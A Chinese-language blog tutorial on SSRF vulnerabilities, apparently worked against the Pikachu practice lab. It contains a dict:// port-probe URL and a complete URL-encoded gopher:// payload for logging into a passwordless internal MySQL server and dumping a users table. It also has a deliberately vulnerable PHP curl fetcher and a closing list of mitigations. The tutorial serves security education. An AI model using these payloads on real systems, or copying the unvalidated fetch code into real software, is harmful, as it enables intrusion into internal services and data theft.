SSRF 漏洞详解

地球胖头鱼 2020-12-15
Web安全 发布于 2020-12-15 16:13:33 阅读 231 评论 0

漏洞原理

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

很多Web应用都提供了从其他服务器上获取数据的功能。使用用户指定的URL,Web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地服务器。

SSRF可以做什么

端口探测

http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_curl.php?url=dict://192.168.1.51:3306

读取服务器文件

file_get_concat类型ssrf

curl类型ssrf

Goper攻击内网mysql(无密码)

ssrf可以结合gopher协议攻击内网各种服务,如sql注入、struct2、redis等。这里我们以攻击内网空密码的mysql为例进行讲解。

以下截图为有密码攻击,结果失败,所以亲测试时请选择空密码mysql进行测试。

Goper攻击内网mysql完整流程

1、开启wirshark,准备选择网卡

2、这里选择any网卡,登录时,可以看到能够获取连接mysql的流量

3、追踪tcp流,查看登录的流量

4、获取登录查询的原始数据

5、将获取的原始数据转为url编码

我们需要将这个数据转换成url编码的形式,因为这里已经是16进制,所以只需要两两分割,然后添加%即可

采用python进行辅助

data = "5000000185a69f20000000012d0000000000000000000000000000000000000000000000726f6f740014cbaefaa019e37ac7634adc42d050abc193d88da06d7973716c5f6e61746976655f70617373776f726400";
a = [data[i:i+2] foriinrange(0,len(data),2)]
print a

6、使用上面的python代码将字符串分割为列表

7、检测原始数据

在mysql中执行查询的语句原始数据以0000003开头(前面还有两位是数据包长度,content-length),以0100000001结束(如果我们自己获取的源数据没有那就自己加上)

8、使用submit的ctrl+f大法进行替换,将‘, ’替换为% 并删除其余无用 数据

9、最终结果加上gopher协议

10、curl –v 连接空密码的mysql

gopher://192.168.1.51:3306/_%3c%00%00%01%85%a6%9f%20%00%00%00%01%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%1c%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%70%69%6b%61%63%68%75%2e%75%73%65%72%73%01%00%00%00%01

gopher协议攻击内网无密码mysql源码实测

注:源码,php7.0才能生效

<?php
$url = $_REQUEST[url];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch); //已经获取到内容,没有输出到页面上。
curl_close($ch);
echo $response;
?>

利用

ssrf漏洞点

由原理可以看出,SSRF是由于服务端获取其他服务器的相关信息的功能中形成的,因此我们大可以列举几种在web 应用中常见的从服务端获取其他服务器信息的的功能。

通过URL地址分享网页内容

通过URL地址分享网页内容

早期应用中,为了更好的用户体验,Web应用在分享功能中,通常会获取目标URL地址网页内容中<title></title>标签或者<meta name=“description”content=“”/>标签中content的文本内容提供更好的用户体验。

转码服务

转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

由于手机屏幕大小的关系,直接浏览网页内容的时候会造成许多不便,因此有些公司提供了转码功能,把网页内容通过相关手段转为适合手机屏幕浏览的样式。例如百度、腾讯、搜狗等公司都有提供在线转码服务。

图片加载与下载

图片加载与下载:通过 URL**地址加载或下载图片**

图片加载远程图片地址此功能用到的地方很多,但大多都是比较隐秘,比如在有些公司中的加载自家图片服务器上的图片用于展示。(此处可能会有人有疑问,为什么加载图片服务器上的图片也会有问题,直接使用img标签不就好了,没错是这样,但是开发者为了有更好的用户体验通常对图片做些微小调整例如加水印、压缩等,所以就可能造成SSRF问题)。

修复方案

  1. 统一错误信息,避免用户可以根据错误信息来判断远程服务器端口状态

  2. 限制请求的端口为HTTP常用的端口,比如 80,443,8080,8088等

  3. 黑名单内网IP。

  4. 禁用不需要的协议,仅仅允许HTTP和HTTPS.

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!
地球胖头鱼
未填写
  • 作者发布文章177
  • 作者收获粉丝6
  • 作者收到点赞0
  • 所有文章被收藏了1
  • 博客总访问量排行第2
  • 博客总访问量2.8 万(每日更新)
查看所有博文